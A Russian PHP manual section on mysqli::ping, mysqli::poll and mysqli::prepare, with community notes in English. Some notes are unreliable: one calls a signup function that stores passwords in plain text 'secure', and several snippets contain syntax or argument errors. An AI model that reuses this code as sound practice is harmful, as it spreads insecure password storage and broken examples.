Эта функция может использоваться клиентами, которые простаивают без дела долгое время, чтобы проверить, что сервер их не отключил, и переподключиться в случае необходимости.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Пример использования mysqli::ping()

Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* проверка соединения */
if ($mysqli->connect_errno) {
printf("Не удалось подключиться: %s\n", $mysqli->connect_error);
exit();
}

/* проверим, жив ли сервер */
if ($mysqli->ping()) {
printf ("Соединение в порядке!\n");
} else {
printf ("Ошибка: %s\n", $mysqli->error);
}

/* закрываем соединение */
$mysqli->close();
?>

Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* проверка соединения */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

/* проверим, жив ли сервер */
if (mysqli_ping($link)) {
printf ("Соединение в порядке!\n");
} else {
printf ("Ошибка: %s\n", mysqli_error($link));
}

/* закрываем соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Our connection is ok!

User Contributed Notes

root at jusme dot org 21-Sep-2015 10:00
As jay at grooveshark dot com very helpfully pointed out, the mysqlnd driver which is becoming pretty standard does not obey reconnect commands. If you have a DB wrapper class (which hopefully you do) you can implement your own version of ping() such as:

<?php

class db extends mysqli
{
    private $db_host;
    private $db_user;
    private $db_pass;
    private $db_name;
    private $persistent;

    public function __construct($db_host, $db_user, $db_pass, $db_name, $persistent = true)
    {
        $this->db_host = $db_host;
        $this->db_user = $db_user;
        $this->db_pass = $db_pass;
        $this->db_name = $db_name;
        $this->persistent = $persistent;

        parent::init();
        parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 1);
        @parent::real_connect(($this->persistent ? 'p:' : '') . $this->db_host, $this->db_user, $this->db_pass, $this->db_name);

        if ($this->connect_errno)
            die("All DB servers down!\n");
    }

    public function ping()
    {
        @parent::query('SELECT LAST_INSERT_ID()');

        if ($this->errno == 2006)
            $this->__construct($this->db_host, $this->db_user, $this->db_pass, $this->db_name, $this->persistent);
    }
...
}

$db = new db(DB_HOST, DB_USER, DB_PASS, DB_NAME);
// Some code that potentially takes a really long time to execute goes here
// Ping for safety to try to gracefully reconnect
$db->ping();
// Now we should be able to run queries again
$db->query('SELECT LAST_INSERT_ID()');

?>

If you wanted you could even put "$this->ping();" at the top of db::query() to avoid any explicit reconnection calls but I wouldn't recommend it due to the (slight) overhead of running the cheap "SELECT LAST_INSERT_ID()" query every time prior to running your real intended query. There are probably even cheaper queries to run in favor of "SELECT LAST_INSERT_ID()" but it was the first that came to mind and is cheap enough for most purposes since you shouldn't be calling ping() a whole bunch anyway.
snooops84 at googlemail dot com 13-Feb-2015 08:56
The behaviour about the option mysqli.reconnect is default set to Off at Debian PHP Packages. So i would recommend to update the first line description about the recommendation at the option mysqli.reconnect. (practice note ;))
jay at grooveshark dot com 27-Sep-2014 12:07
This does not work with mysqlnd and is marked as wontfix: https://bugs.php.net/bug.php?id=52561


Опрос подключений

  • « mysqli::ping
  • mysqli::prepare »
  • PHP Manual
  • mysqli
  • Опрос подключений

mysqli::poll

mysqli_poll

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli::poll -- mysqli_poll — Опрос подключений

Описание

Объектно-ориентированный стиль

public static mysqli::poll(
?array &$read,
?array &$error,
array &$reject,
int $seconds,
int $microseconds = 0
): int|false

Процедурный стиль

mysqli_poll(
?array &$read,
?array &$error,
array &$reject,
int $seconds,
int $microseconds = 0
): int|false

Опрос подключений. Метод может использоваться как статический.

Замечание:

Доступно только с модулем mysqlnd.

Список параметров

read

Список соединений для проверки наличия оставшихся результатов, которые можно прочитать.

error

Список соединений, на которых произошли ошибки, например, не удался запрос или соединение было потеряно.

reject

Список соединений, которые были отклонены, потому что на них не был запущен асинхронный запрос, с которым функция может получить результат опроса.

seconds

Максимальное количество секунд ожидания, должно быть неотрицательным.

microseconds

Максимальное количество миллисекунд ожидания, должно быть неотрицательным.

Возвращаемые значения

Возвращает количество готовых к работе соединений в случае успешного выполнения, false в случае неудачи.

Примеры

Пример #1 Пример использования mysqli_poll()

<?php
$link1 = mysqli_connect();
$link1->query("SELECT 'test'", MYSQLI_ASYNC);
$all_links = array($link1);
$processed = 0;
do {
$links = $errors = $reject = array();
foreach ($all_links as $link) {
$links[] = $errors[] = $reject[] = $link;
}
if (!mysqli_poll($links, $errors, $reject, 1)) {
continue;
}
foreach ($links as $link) {
if ($result = $link->reap_async_query()) {
print_r($result->fetch_row());
if (is_object($result))
mysqli_free_result($result);
} else die(sprintf("Ошибка MySQLi: %s", mysqli_error($link)));
$processed++;
}
} while ($processed < count($all_links));
?>

Результат выполнения данного примера:

Array
(
    [0] => test
)

Смотрите также

  • mysqli_query() - Выполняет запрос к базе данных
  • mysqli_reap_async_query() - Получение результата асинхронного запроса

User Contributed Notes

marcin dot wanat at gmail dot com 14-Dec-2022 02:23
It is worth to note that example from this docs will results in waiting for all queries to be executed before you can reap your results.

5 years ago bishop from php.net has posted solution that allow to fetch results of each query immediately after executed. For some reason this has never been merged to php manual.

https://bugs.php.net/bug.php?id=70505

The documentation for mysqli_poll suggests iterating through the links after running the poll:

    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            print_r($result->fetch_row());
            if (is_object($result))
                mysqli_free_result($result);
        } else die(sprintf("MySQLi Error: %s", mysqli_error($link)));
        $processed++;
    }

This is not a good way to go about it when you have queries of different run-times, because mysqli_reap_async_query() blocks until the query resolves, which is contrary to the nature of the async poll.

An approach that respects multiple queries of different run times is to run a reaping function over each of the modified arrays:

    $count = mysqli_poll($read, $error, $reject, 1);
    if (0 < $count) {
        array_walk($read,   'reap');
        array_walk($error,  'reap');
        array_walk($reject, 'reap');
    }

function reap($link) {
    $result = mysqli_reap_async_query($link);
    if (is_object($result)) {
        print_r($result->fetch_assoc()));
        mysqli_free_result($result);
    } else if (false !== $result) {
        print_r($link);
    } else {
        die(mysqli_error($link));
    }
}

This also handles the case where the query is a CRUD and the result of reap_async_query isn't a result object.
ekalashnikov at gmail dot com 04-Oct-2017 07:07
Improved version of using polling to check for slow query,
"KILL #ID" does not work if id of the myqsli link is the same as the one that kills it,
so you have to disconnect from mysqli and connect again with new link to
kill the #ID.
<?php
// Slow SQL Query
      $SelectSql = 'SELECT * FROM SLOW_QUERY';
      $link = mysqli_connect('localhost','user','pass','database');
      mysqli_query($SelectSql, MYSQLI_ASYNC);
      $thread_id = mysqli_thread_id($link);
      // Ignore user abort so we can kill the query
      ignore_user_abort(true);
      $MaxTime = 5; // seconds
      $Overtime = false;
      $StartTime = time();
      do
      {
          // Poll MySQL
        $links = $errors = $reject = array($link);
        $poll = mysqli_poll($links, $errors, $reject, 0, 500000);
         // Check if the connection is aborted and the query was killed
        if (connection_aborted()) {
          $link_new = mysqli_connect('localhost','user','pass','database');
          mysqli_kill($link_new, $thread_id);
          $kill = mysqli_kill($link_new, $thread_id);
          if ($kill)
          {
            die();
          }
        }
        $EndTime = time();
        // Check overtime, kill if detected overtime
        if ($EndTime - $StartTime > $MaxTime)
        {
          $link_new = mysqli_connect('localhost','user','pass','database');
          mysqli_kill($link_new, $thread_id);
          $Overtime = true;
          echo 'Error: Query took over '.$Overtime.'.';
        }
      } while (!$poll && $Overtime == false);
?>
ekalashnikov at gmail dot com 03-Oct-2017 09:54
This is how you can test and terminate slow query with polling.

<?php
// Slow SQL Query
      $SelectSql = 'SELECT * FROM SLOW_QUERY';
      $link = mysqli_connect('localhost','user','pass','database');
      mysqli_query($SelectSql, MYSQLI_ASYNC);
      $thread_id = mysqli_thread_id($link);
      // Ignore user abort so we can kill the query
      ignore_user_abort(true);
      $MaxTime = 5; // seconds
      $Overtime = false;
      $StartTime = time();
      do
      {
          // Poll MySQL
        $links = $errors = $reject = array($link);
        $poll = mysqli_poll($links, $errors, $reject, 0, 500000);
         // Check if the connection is aborted and the query was killed
        if (connection_aborted() && mysqli_kill($link, $thread_id)) {
            die();
        }
        $EndTime = time();
        // Check overtime, kill if detected overtime
        if ($EndTime - $StartTime > $MaxTime)
        {
          mysqli_kill($link, $thread_id);
          $Overtime = true;
          echo 'Error: Query took over '.$Overtime.'.';
        }
      } while (!$poll && $Overtime == false);
?>
shestero at meta dot ua 21-Jan-2016 12:24
Sometime it's not clear what does it mean as connection is "ready" . Does it mean the query completed or just some records ready to read?
Is it possible to use asynchronous (unblocking) and unbuffered SELECT-query? I.e. with both MYSQLI_ASYNC|MYSQLI_USE_RESULT

I want some poll-like code inside my loop that has four case-options:
1. Poll wait time-out is over but no records of result set is ready.
2. One or more records are ready to read (but the query still running).
3. Query is successfully over (completed; no more records).
4. Error.

Is it possible?

As I understood the operation of reading a record from unbuffered query is blocking if there are no ready records at the moment, and there is no functions to get out how much records are ready ?
l_sanczyk at hotmail dot com 21-Jul-2014 07:56
You can use the following code to execute, for example, 10 simultaneous queries:

$query = "SELECT `field1`, `field2` FROM `table` WHERE `field1`='something'";

$all_links = array();
for($i=0; $i<10; $i++) {
    $link = mysqli_connect("your.mysql.server.here","your@user","pa$$w0rd",DataBase_Name");
    $link->query($query, MYSQLI_ASYNC);
    $all_links[] = $link;
}

$processed = 0;
do {
    $links = $errors = $reject = array();
    foreach ($all_links as $link) {
        $links[] = $errors[] = $reject[] = $link;
    }
    if (!mysqli_poll($links, $errors, $reject, 1)) {
        continue;
    }
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            print_r($result->fetch_row());
            if (is_object($result))
                mysqli_free_result($result);
        } else die(sprintf("MySQLi Error: %s", mysqli_error($link)));
        $processed++;
    }
} while ($processed < count($all_links));

NOTE: If you get a "Warning: mysqli::query() expects parameter 2 to be long, string given" you have a mysqlnd installation or configuration issue.


Подготавливает SQL выражение к выполнению

  • « mysqli::poll
  • mysqli::query »
  • PHP Manual
  • mysqli
  • Подготавливает SQL выражение к выполнению

mysqli::prepare

mysqli_prepare

(PHP 5, PHP 7, PHP 8)

mysqli::prepare -- mysqli_prepare — Подготавливает SQL выражение к выполнению

Описание

Объектно-ориентированный стиль

public mysqli::prepare(string $query): mysqli_stmt|false

Процедурный стиль

mysqli_prepare(mysqli $mysql, string $query): mysqli_stmt|false

Подготавливает SQL-запрос и возвращает указатель на это выражение, который может использоваться для дальнейших операций с этим выражением. Запрос должен состоять из одного SQL-выражения.

Шаблон оператора может содержать ноль или несколько вопросительных знаков (?), меток параметров?, также называемых заполнителями. Метки параметров должны быть привязаны к переменным приложения с помощью mysqli_stmt_bind_param() перед выполнением выражения.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

query

Текст запроса в виде строки. Должен состоять из одного SQL-выражения.

Выражение SQL может содержать ноль или более меток параметров, представленных знаками вопроса (?) в соответствующих позициях.

Замечание:

Эти метки можно встраивать только в определённые места в выражении. Например, они разрешены в списке VALUES() выражения INSERT (чтобы задать значения столбцов для строки), или в операциях сравнения предложения WHERE для задания сравниваемого значения. Однако они не разрешены в качестве идентификаторов (таких как имена таблиц или столбцов).

Возвращаемые значения

mysqli_prepare() возвращает объект запроса или false в случае ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Пример использования mysqli::prepare()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$city = "Amersfoort";

/* создание подготавливаемого запроса */
$stmt = $mysqli->prepare("SELECT District FROM City WHERE Name=?");

/* связывание параметров с метками */
$stmt->bind_param("s", $city);

/* выполнение запроса */
$stmt->execute();

/* связывание переменных с результатами запроса */
$stmt->bind_result($district);

/* получение значения */
$stmt->fetch();

printf("%s находится в округе %s\n", $city, $district);

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$city = "Amersfoort";

/* создание подготавливаемого запроса */
$stmt = mysqli_prepare($link, "SELECT District FROM City WHERE Name=?");

/* связывание параметров с метками */
mysqli_stmt_bind_param($stmt, "s", $city);

/* выполнение запроса */
mysqli_stmt_execute($stmt);

/* связывание переменных с результатами запроса */
mysqli_stmt_bind_result($stmt, $district);

/* получение значения */
mysqli_stmt_fetch($stmt);

printf("%s находится в округе %s\n", $city, $district);
?>

Результат выполнения данных примеров:

Amersfoort находится в округе Utrecht

Смотрите также

  • mysqli_stmt_execute() - Выполняет подготовленное утверждение
  • mysqli_stmt_fetch() - Связывает результаты подготовленного выражения с переменными
  • mysqli_stmt_bind_param() - Привязка переменных к параметрам подготавливаемого запроса
  • mysqli_stmt_bind_result() - Привязка переменных к подготовленному запросу для размещения результата
  • mysqli_stmt_get_result() - Получает результат из подготовленного запроса в виде объекта mysqli_result
  • mysqli_stmt_close() - Закрывает подготовленный запрос

User Contributed Notes

urso at email dot cz 03-Dec-2022 10:31
Unfortunately, the use "/* bind result variables */ $stmt->bind_result($district);" is obsolete and condemned.

<?php
$mysqli = new mysqli("localhost", "test", "test", "test");
if ($mysqli->character_set_name()!="utf8mb4") { $mysqli->set_charset("utf8mb4"); }
$secondname = "Ma%";
$types = "s";
$parameters = array($secondname);
$myquery = "select * from users where secondname like ?";
if ($stmt = $mysqli->prepare($myquery)) {
  $stmt->bind_param($types, ...$parameters);
  $stmt->execute();
  $result = $stmt->get_result();
  $stmt->close();
  $numrows = $result->num_rows;
  while($row = $result->fetch_assoc()) {
    echo $row['firstname']." ".$row['secondname']."<br />";
  }
}
$mysqli->close();
?>

Also, instead of '$stmt->bind_param("s", $city);', use "$stmt->bind_param($types, ...$parameters);" with array. Here the advantage of using an array ($parameters) is already obvious, instead of 5 variables, one array of 5 elements is used.

<?php
$mysqli = new mysqli("localhost", "test", "test", "test");
if ($mysqli->character_set_name()!="utf8mb4") { $mysqli->set_charset("utf8mb4"); }
$uid = intval($_POST['uid']);
$length=15; $account = mb_substr(trim($_POST['account']),0,$length,"utf-8"); $account=strip_tags($account);
$length=50; $password = mb_substr(trim($_POST['password']),0,$length,"utf-8"); $password = password_hash($password, PASSWORD_DEFAULT);
$length=25; $prijmeni = mb_substr(trim($_POST['prijmeni']),0,$length,"utf-8"); $prijmeni=strip_tags($prijmeni);
$length=25; $firstname = mb_substr(trim($_POST['firstname']),0,$length,"utf-8"); $firstname=strip_tags($firstname); $firstname = str_replace(array(">","<",'"'), array("","",""), $firstname);
$dotaz = "UPDATE users SET account = ?, password = ?, secname = ?, firstname = ? WHERE uid = ?";
$types = "ssssi";
$parameters = array($account,$password,$prijmeni,$firstname,$uid);
if ($stmt = $mysqli->prepare($dotaz)) {
  $stmt->bind_param($types, ...$parameters);
  $stmt->execute();
  echo $stmt->affected_rows;
  $stmt->close();
}
$mysqli->close();
?>
wapharshitsingh at gmail dot com 12-May-2021 03:41
just wanted to share here, how we can use prepare statement with the combination of ... operator effectively .
<?php
class Database{
 private function getTypeofValues($string, $value){
        if(is_float($value)){
            $string .= "d";
        }elseif(is_integer($value)){
            $string .= "i";
        }elseif(is_string($value)){
            $string .= "s";
        }else{
            $string .= "b";
        }
        return $string;
    }
 public function makeQuery($query, array $values){
        $stmt = $this->connection->prepare($query);
        $type = array_reduce($values, array($this, "getTypeOfValues"));
        $stmt->bind_param($type, ...$values);
        $stmt->execute();
        $result = $stmt->get_result();
        return $result;
    }
}
?>
omidbahrami1990 at gmail dot com 06-Dec-2017 10:49
This Is A Secure Way To Use mysqli::prepare
--------------------------------------------------------
<?php
function secured_signup($username,$password)
{
$connection = new mysqli($dbhost,$dbusername,$dbpassword,$dbname);
if ($connection->connect_error)
die("Secured");

$prepared = $connection->prepare("INSERT INTO `users` ( `username` , `password`  ) VALUES ( ? , ? ) ; ");
if($prepared==false)
die("Secured");

$result=$prepared->bind_param("ss",$username,$password);
if($result==false)
die("Secured");

$result=$prepared->execute();
if($result==false)
die("Secured");

$prepared->close();
$connection->close();
}
/*
$dbhost ---> DataBase IP Address
$dbusername ---> DataBase Username
$dbpassword ---> DataBase Password
$dbname ---> DataBase Name
*/
?>
kritz at hrz dot tu-chemnitz dot de 10-May-2017 08:57
I wasn't able to fully test the following since the server I am currently working on is missing the PHP module that allows me to call get_result on mysqli_stmt but maybe this could be helpful for someone:

<?php

/**
 * Custom {@link \mysqli} class with additional functions.
 */
class CustomMysqli extends \mysqli
{
    /**
     * Creates a prepared query, binds the given parameters and returns the result of the executed
     * {@link \mysqli_stmt}.
     * @param string $query
     * @param array $args
     * @return bool|\mysqli_result
     */
    public function queryPrepared($query, array $args)
    {
        $stmt   = $this->prepare($query);
        $params = [];
        $types  = array_reduce($args, function ($string, &$arg) use (&$params) {
            $params[] = &$arg;
            if (is_float($arg))         $string .= 'd';
            elseif (is_integer($arg))   $string .= 'i';
            elseif (is_string($arg))    $string .= 's';
            else                        $string .= 'b';
            return $string;
        }, '');
        array_unshift($params, $types);

        call_user_func_array([$stmt, 'bind_param'], $params);

        $result = $stmt->execute() ? $stmt->get_result() : false;

        $stmt->close();

        return $result;
    }
}

$db = new CustomMysqli('host', 'user', 'password', 'database', 3306);
$result = $db->queryPrepared(
    'SELECT * FROM table WHERE something = ? AND someotherthing = ? AND elsewhat = ?',
    [
        'dunno',
        1,
        'dontcare'
    ]
);

if (isset($result) && $result instanceof \mysqli_result) {
    while (null !== ($row = $result->fetch_assoc())) {
        echo '<pre>'.var_debug($row, true).'</pre>';
    }
}

?>

NOTE: If you want to use this with a PHP version below 5.4 you have to use the old ugly array() syntax for arrays instead of the short [] syntax.
cdtreeks at gmail dot com 11-Jan-2015 01:23
When executing a prepared MySQL, by default if there's an error then you'll simply get FALSE returned from your call to prepare().

To get the full MySQL error back create a statement object before preparing your query as such:

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$city = "Amersfoort";

/* create a prepared statement */
$statement = $mysqli->stmt_init();
if ($statement->prepare("SELECT District FROM City WHERE Name=?")) {

    /* bind parameters for marker(s) */
    $statement->bind_param("s", $city);

    /* execute query */
    if (!$statement->execute()) {
        trigger_error('Error executing MySQL query: ' . $statement->error);
    }

    /* bind result variables */
    $statement->bind_result($district);

    /* fetch value */
    $statement->fetch();

    printf("%s is in district %s\n", $city, $district);

    /* close statement */
    $statement->close();
}

/* close connection */
$mysqli->close();
?>
REz 05-Nov-2014 11:35
There is no reference that all data must be fetched before a new prepare call to msqli, the only help is in a 6 years old comment!
You have to myslqi_stmt::fetch() data until NULL is returned before you can call mysqli::prepare() again without having FALSE and no error at all in mysqli::$errno and mysqli::$error
marmstro at gmail dot com 04-Oct-2013 03:05
If your IDE isn't recognizing $stmt as an object of type mysqli_stmt when you use the traditional perpare:

$stmt = mysqli_prepare($link, $query);

The following works and is IDE friendly:

$stmt = new mysqli_stmt($link, $query);
@runspired 31-Jan-2013 04:42
I don't think this is a bug, just an unexpected behavior.  While building an API I discovered that passing INT 0 instead of STRING '0' into a prepared statement caused my script to run out of memory and produce a 500error on the webpage.

A simplified example of this issue is below: ($_DB is a global reference to a mysqli connection)

<?php
function getItem( $ID ) {

     $_STATEMENT = $_DB->prepare("SELECT item_user, item_name, item_description FROM item WHERE item_id = ?;");

     $_STATEMENT->bind_param( 'i' , $ID );

     $_STATEMENT->execute();
     $_STATEMENT->store_result();

     $_STATEMENT->bind_result( $user , $name , $description);
     $result = $_STATEMENT->fetch();

     $_STATEMENT->free_result();
     $_STATEMENT->close();

     return $result;
}

getItem(0); //fails!
getItem('0'); //works!

?>

The best I can guess is that an INT 0 gets translated as BOOLEAN , and if this is indeed the case it should be documented above, but all efforts to get error information (via the php script) have failed.
timchampion dot NOSPAM at gmail dot com 17-Feb-2012 08:56
Just wanted to make sure that all were aware of get_result.

In the code sample, after execute(), perform a get_result() like this:

<?php

// ... document's example code:

    /* bind parameters for markers */
    $stmt->bind_param("s", $city);

    /* execute query */
    $stmt->execute();

    /* instead of bind_result: */
    $result = $stmt->get_result();

    /* now you can fetch the results into an array - NICE */
    while ($myrow = $result->fetch_assoc()) {

        // use your $myrow array as you would with any other fetch
        printf("%s is in district %s\n", $city, $myrow['district']);

    }
?>

This is much nicer when you have a dozen or more fields coming back from your query.  Hope this helps.
Bernie van&#39;t Hof 02-Feb-2012 06:38
Prepared statements are confusing in the beginning ..

mysqli->prepare() returns a so-called statement object which is used for subsequent operations eg execute, bind_param, store_result, bind_result, fetch, etc.

The statement object has private properties which update as each statement operation is carried out. I found these useful for understanding what is going on when writing a prepared statement function:

affected_rows
insert_id
num_rows
param_count
field_count
errno
error
sqlstate
id

But it took a little time to get my head around accessing them:

<?php
$stmt = $mysqli->prepare($query);

//       .. $stmt-> operations ..

var_dump($stmt); // shows null values

var_dump($stmt->errno); // note literal, displays value

//       .. $stmt-> operations ..

// to keep a copy ..
// get_object_properties() won't work
// clone() won't work
$properties = array();
foreach ($stmt as $name => $priv){
    $properties[$name] = $stmt->$name; //    works
    // $properties[$name] = $priv; //    won't work, foreach can't access private properties
}

$stmt->close();
// var_dump($stmt->errno) // won't work, $stmt is closed
?>
Darren 13-Jan-2012 11:09
I wrote this function for my personal use and figured I would share it.  I am not sure if this is the appropriate forum but I wish I had this when I stumbled on to mysqli::prepare.  The function is an update of the function I posted previously.  The previous function could not handle multiple queries.

For queries:
Results of single queries are given as arrays[row#][associated Data Array]
Results of multiple queries are given as arrays[query#][row#][associated Data Array]

For queries which return an affected row#, affected rows are returned instead of (array[row#][associated Data Array])

Code and example are below:

<?php
function mysqli_prepared_query($link,$sql,$typeDef = FALSE,$params = FALSE){
  if($stmt = mysqli_prepare($link,$sql)){
    if(count($params) == count($params,1)){
      $params = array($params);
      $multiQuery = FALSE;
    } else {
      $multiQuery = TRUE;
    }

    if($typeDef){
      $bindParams = array();
      $bindParamsReferences = array();
      $bindParams = array_pad($bindParams,(count($params,1)-count($params))/count($params),"");
      foreach($bindParams as $key => $value){
        $bindParamsReferences[$key] = &$bindParams[$key];
      }
      array_unshift($bindParamsReferences,$typeDef);
      $bindParamsMethod = new ReflectionMethod('mysqli_stmt', 'bind_param');
      $bindParamsMethod->invokeArgs($stmt,$bindParamsReferences);
    }

    $result = array();
    foreach($params as $queryKey => $query){
      foreach($bindParams as $paramKey => $value){
        $bindParams[$paramKey] = $query[$paramKey];
      }
      $queryResult = array();
      if(mysqli_stmt_execute($stmt)){
        $resultMetaData = mysqli_stmt_result_metadata($stmt);
        if($resultMetaData){
          $stmtRow = array();
          $rowReferences = array();
          while ($field = mysqli_fetch_field($resultMetaData)) {
            $rowReferences[] = &$stmtRow[$field->name];
          }
          mysqli_free_result($resultMetaData);
          $bindResultMethod = new ReflectionMethod('mysqli_stmt', 'bind_result');
          $bindResultMethod->invokeArgs($stmt, $rowReferences);
          while(mysqli_stmt_fetch($stmt)){
            $row = array();
            foreach($stmtRow as $key => $value){
              $row[$key] = $value;
            }
            $queryResult[] = $row;
          }
          mysqli_stmt_free_result($stmt);
        } else {
          $queryResult[] = mysqli_stmt_affected_rows($stmt);
        }
      } else {
        $queryResult[] = FALSE;
      }
      $result[$queryKey] = $queryResult;
    }
    mysqli_stmt_close($stmt);
  } else {
    $result = FALSE;
  }

  if($multiQuery){
    return $result;
  } else {
    return $result[0];
  }
}
?>

Example(s):
For a table of firstName and lastName:
John Smith
Mark Smith
Jack Johnson
Bob Johnson

<?php
//single query, single result
$query = "SELECT * FROM names WHERE firstName=? AND lastName=?";
$params = array("Bob","Johnson");

mysqli_prepared_query($link,$query,"ss",$params)
/*
returns array(
0=> array('firstName' => 'Bob', 'lastName' => 'Johnson')
)
*/

//single query, multiple results
$query = "SELECT * FROM names WHERE lastName=?";
$params = array("Smith");

mysqli_prepared_query($link,$query,"s",$params)
/*
returns array(
0=> array('firstName' => 'John', 'lastName' => 'Smith')
1=> array('firstName' => 'Mark', 'lastName' => 'Smith')
)
*/

//multiple query, multiple results
$query = "SELECT * FROM names WHERE lastName=?";
$params = array(array("Smith"),array("Johnson"));

mysqli_prepared_query($link,$query,"s",$params)
/*
returns array(
0=>
array(
0=> array('firstName' => 'John', 'lastName' => 'Smith')
1=> array('firstName' => 'Mark', 'lastName' => 'Smith')
)
1=>
array(
0=> array('firstName' => 'Jack', 'lastName' => 'Johnson')
1=> array('firstName' => 'Bob', 'lastName' => 'Johnson')
)
)
*/
?>

Hope it helps =)
Darren 11-Jan-2012 03:59
For those learning mysqli::prepare and mysqli_stmt::bind_params for the first time, here is a commented block of code which executes prepared queries and returns data in a similar format to the return values of mysqli_query.  I tried to minimize unnecessary classes, objects, or overhead for two reasons:
1) facilitate learning
2) allow relativity interchangeable use with mysqli_query

My goal is to lower the learning curve for whoever is starting out with these family of functions.  I am by no means an expert coder/scripter, so I am sure there are improvements and perhaps a few bugs, but I hope not =)

<?php
/*
Function: mysqli_prepared_query()
  Executes prepared querys given query syntax, and bind parameters
  Returns data in array format

Arguments:
  mysqli_link
  mysqli_prepare query
  mysqli_stmt_bind_param argmuent list in the form array($typeDefinitinonString, $var1 [, mixed $... ])

Return values:
  When given SELECT, SHOW, DESCRIBE or EXPLAIN statements: returns table data in the form resultArray[row number][associated field name]
  Returns number of rows affacted when given other queries
  Returns FALSE on error
*/
function mysqli_prepared_query($link,$sql,$bindParams = FALSE){
  if($stmt = mysqli_prepare($link,$sql)){
    if ($bindParams){
      $bindParamsMethod = new ReflectionMethod('mysqli_stmt', 'bind_param');  //allows for call to mysqli_stmt->bind_param using variable argument list
      $bindParamsReferences = array();  //will act as arguments list for mysqli_stmt->bind_param

      $typeDefinitionString = array_shift($bindParams);
      foreach($bindParams as $key => $value){
        $bindParamsReferences[$key] = &$bindParams[$key];
      }

      array_unshift($bindParamsReferences,$typeDefinitionString); //returns typeDefinition as the first element of the string
      $bindParamsMethod->invokeArgs($stmt,$bindParamsReferences); //calls mysqli_stmt->bind_param suing $bindParamsRereferences as the argument list
    }
    if(mysqli_stmt_execute($stmt)){
      $resultMetaData = mysqli_stmt_result_metadata($stmt);
      if($resultMetaData){
        $stmtRow = array(); //this will be a result row returned from mysqli_stmt_fetch($stmt)
        $rowReferences = array();  //this will reference $stmtRow and be passed to mysqli_bind_results
        while ($field = mysqli_fetch_field($resultMetaData)) {
          $rowReferences[] = &$stmtRow[$field->name];
        }
        mysqli_free_result($resultMetaData);
        $bindResultMethod = new ReflectionMethod('mysqli_stmt', 'bind_result');
        $bindResultMethod->invokeArgs($stmt, $rowReferences); //calls mysqli_stmt_bind_result($stmt,[$rowReferences]) using object-oriented style
        $result = array();
        while(mysqli_stmt_fetch($stmt)){
          foreach($stmtRow as $key => $value){  //variables must be assigned by value, so $result[] = $stmtRow does not work (not really sure why, something with referencing in $stmtRow)
            $row[$key] = $value;
          }
          $result[] = $row;
        }
        mysqli_stmt_free_result($stmt);
      } else {
        $result = mysqli_stmt_affected_rows($stmt);
      }
      mysqli_stmt_close($stmt);
    } else {
      $result = FALSE;
    }
  } else {
    $result = FALSE;
  }
  return $result;
}

?>

Here's hoping the PHP gods don't smite me.
Zeebuck 24-Jul-2011 12:51
I think that the purpose that it was originally built for, and the purpose that people use it for today, have diverged.  But why dwell on the original purpose?  Obviously more code has been put into prepared statements today to allow it to be used to prevent sql injections, so it is now part of the design purpose today, as well as performance on repeatable statements.
Codeguy 29-Apr-2011 07:39
The actual purpose to use a prepared statement in sql is to cut the cost of processing queries; NOT to separate data from query. That's how it's being used w/ php NOW, not how it was designed to be used in the first place. With SQL you cut the cost of executing multiple similar queries down by using a prepared statement.. Doing so cuts out the parsing, validation and most often generates an execution plan for said query up front. Which is why they run faster in a loop, than their  IMMEDIATE Query cousins do. Do not assume that just because someone uses php and this function this way does not mean that it is THE way, or only way to do it. Although it is more secure than general queries but they are also more limited in what they can do or more precisely how you can go about doing it.
prwexler at earthlink dot net 09-Apr-2011 04:14
Actually, the purpose of a prepare statement is to separate user input from SQL commands.  This increases security by preventing a user from executing his own SQL code and damaging the integrity of a database.
sdepouw at NOSPAM dot com 29-Jul-2009 06:03
I don't know how obvious this was for anyone else, but if you attempt to prepare a query for a table that doesn't exist in the database the connection currently points to (or if your query is invalid in some other way, I suppose), an object will not be returned. I only noticed this after doing some digging when I kept getting a fatal error saying that my statement variable was not an set to an instance of an object (it was probably null).

Replace NOSPAM with nimblepros to e-mail me.
rafael at stiod dot com 29-Sep-2008 04:44
All data must be fetched before a new statement prepare
admin at xorath dot com 15-Aug-2007 10:39
Performance note to those who wonder. I performed a test where first of all inserted about 30,000 posts with one PK:id and a varchar(20), where the varchar data was md5-hash for the current iterator value just to fill with some data.

The test was performed on a dedicated ubuntu 7.04 server with apache2/php5/mysql5.0 running on Athlon 64 - 3000+ with 512MB of RAM. The queries where tested with a for-loop from 0 to 30000 first with:

<?php
for ( $i = 0; $i <= 30000; ++$i )
{
    $result = $mysqli->query("SELECT * FROM test WHERE id = $i");
    $row = $result->fetch_row();
    echo $row[0]; //prints id
}
?>

which gave a page-load time of about 3.3seconds avarage, then with this loop:

<?php
$stmt = $mysqli->prepare("SELECT * FROM test WHERE id = ?");
